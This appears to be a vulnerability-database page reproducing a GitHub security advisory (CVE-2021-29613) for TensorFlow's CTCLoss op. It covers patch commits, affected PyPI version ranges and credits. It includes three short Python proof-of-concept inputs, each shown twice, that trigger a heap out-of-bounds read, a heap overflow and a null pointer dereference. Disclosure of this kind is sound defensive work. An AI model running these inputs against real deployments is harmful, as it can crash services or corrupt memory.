ghsa-vvg4-vgrv-xfr7
Vulnerability from github
5.8 (Medium) - CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N
Impact
Incomplete validation in tf.raw_ops.CTCLoss allows an attacker to trigger an OOB read from heap:
```python import tensorflow as tf
inputs = tf.constant([], shape=[10, 16, 0], dtype=tf.float32) labels_indices = tf.constant([], shape=[8, 0], dtype=tf.int64) labels_values = tf.constant([-100] * 8, shape=[8], dtype=tf.int32) sequence_length = tf.constant([-100] * 16, shape=[16], dtype=tf.int32)
tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices, labels_values=labels_values, sequence_length=sequence_length, preprocess_collapse_repeated=True, ctc_merge_repeated=False, ignore_longer_outputs_than_inputs=True) ```
An attacker can also trigger a heap buffer overflow:
```python import tensorflow as tf
inputs = tf.constant([], shape=[7, 2, 0], dtype=tf.float32) labels_indices = tf.constant([-100, -100], shape=[2, 1], dtype=tf.int64) labels_values = tf.constant([-100, -100], shape=[2], dtype=tf.int32) sequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32)
tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices, labels_values=labels_values, sequence_length=sequence_length, preprocess_collapse_repeated=False, ctc_merge_repeated=False, ignore_longer_outputs_than_inputs=False) ```
Finally, an attacker can trigger a null pointer dereference:
```python import tensorflow as tf
inputs = tf.constant([], shape=[0, 2, 11], dtype=tf.float32) labels_indices = tf.constant([], shape=[0, 2], dtype=tf.int64) labels_values = tf.constant([], shape=[0], dtype=tf.int32) sequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32)
tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices, labels_values=labels_values, sequence_length=sequence_length, preprocess_collapse_repeated=False, ctc_merge_repeated=False, ignore_longer_outputs_than_inputs=False) ```
Patches
We have patched the issue in GitHub commit14607c0707040d775e06b6817325640cb4b5864c followed by GitHub commit 4504a081af71514bb1828048363e6540f797005b.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick these commits on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.2.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow"
},
"ranges": [
{
"events": [
{
"introduced": "2.3.0"
},
{
"fixed": "2.3.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.0"
},
{
"fixed": "2.4.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-cpu"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-cpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.2.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-cpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.3.0"
},
{
"fixed": "2.3.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-cpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.0"
},
{
"fixed": "2.4.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-gpu"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-gpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.2.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-gpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.3.0"
},
{
"fixed": "2.3.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-gpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.0"
},
{
"fixed": "2.4.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-29613"
],
"database_specific": {
"cwe_ids": [
"CWE-125",
"CWE-665"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-17T21:46:09Z",
"nvd_published_at": "2021-05-14T20:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact \nIncomplete validation in `tf.raw_ops.CTCLoss` allows an attacker to trigger an OOB read from heap:\n\n```python\nimport tensorflow as tf\n\ninputs = tf.constant([], shape=[10, 16, 0], dtype=tf.float32)\nlabels_indices = tf.constant([], shape=[8, 0], dtype=tf.int64)\nlabels_values = tf.constant([-100] * 8, shape=[8], dtype=tf.int32)\nsequence_length = tf.constant([-100] * 16, shape=[16], dtype=tf.int32)\n \ntf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices,\n labels_values=labels_values, sequence_length=sequence_length,\n preprocess_collapse_repeated=True, ctc_merge_repeated=False,\n ignore_longer_outputs_than_inputs=True)\n``` \n \nAn attacker can also trigger a heap buffer overflow:\n\n```python\nimport tensorflow as tf\n\ninputs = tf.constant([], shape=[7, 2, 0], dtype=tf.float32)\nlabels_indices = tf.constant([-100, -100], shape=[2, 1], dtype=tf.int64)\nlabels_values = tf.constant([-100, -100], shape=[2], dtype=tf.int32)\nsequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32)\n\ntf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices,\n labels_values=labels_values, sequence_length=sequence_length,\n preprocess_collapse_repeated=False, ctc_merge_repeated=False,\n ignore_longer_outputs_than_inputs=False)\n```\n\nFinally, an attacker can trigger a null pointer dereference:\n\n```python \nimport tensorflow as tf\n\ninputs = tf.constant([], shape=[0, 2, 11], dtype=tf.float32)\nlabels_indices = tf.constant([], shape=[0, 2], dtype=tf.int64)\nlabels_values = tf.constant([], shape=[0], dtype=tf.int32)\nsequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32)\n\ntf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices,\n labels_values=labels_values, sequence_length=sequence_length,\n preprocess_collapse_repeated=False, ctc_merge_repeated=False,\n ignore_longer_outputs_than_inputs=False)\n```\n\n### Patches\nWe have patched the issue in GitHub commit[14607c0707040d775e06b6817325640cb4b5864c](https://github.com/tensorflow/tensorflow/commit/14607c0707040d775e06b6817325640cb4b5864c) followed by GitHub commit [4504a081af71514bb1828048363e6540f797005b](https://github.com/tensorflow/tensorflow/commit/4504a081af71514bb1828048363e6540f797005b).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick these commits on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.",
"id": "GHSA-vvg4-vgrv-xfr7",
"modified": "2024-11-13T16:25:42Z",
"published": "2021-05-21T14:28:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-vvg4-vgrv-xfr7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29613"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/commit/14607c0707040d775e06b6817325640cb4b5864c"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/commit/4504a081af71514bb1828048363e6540f797005b"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-541.yaml"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-739.yaml"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-250.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/tensorflow/tensorflow"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Incomplete validation in `tf.raw_ops.CTCLoss`"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.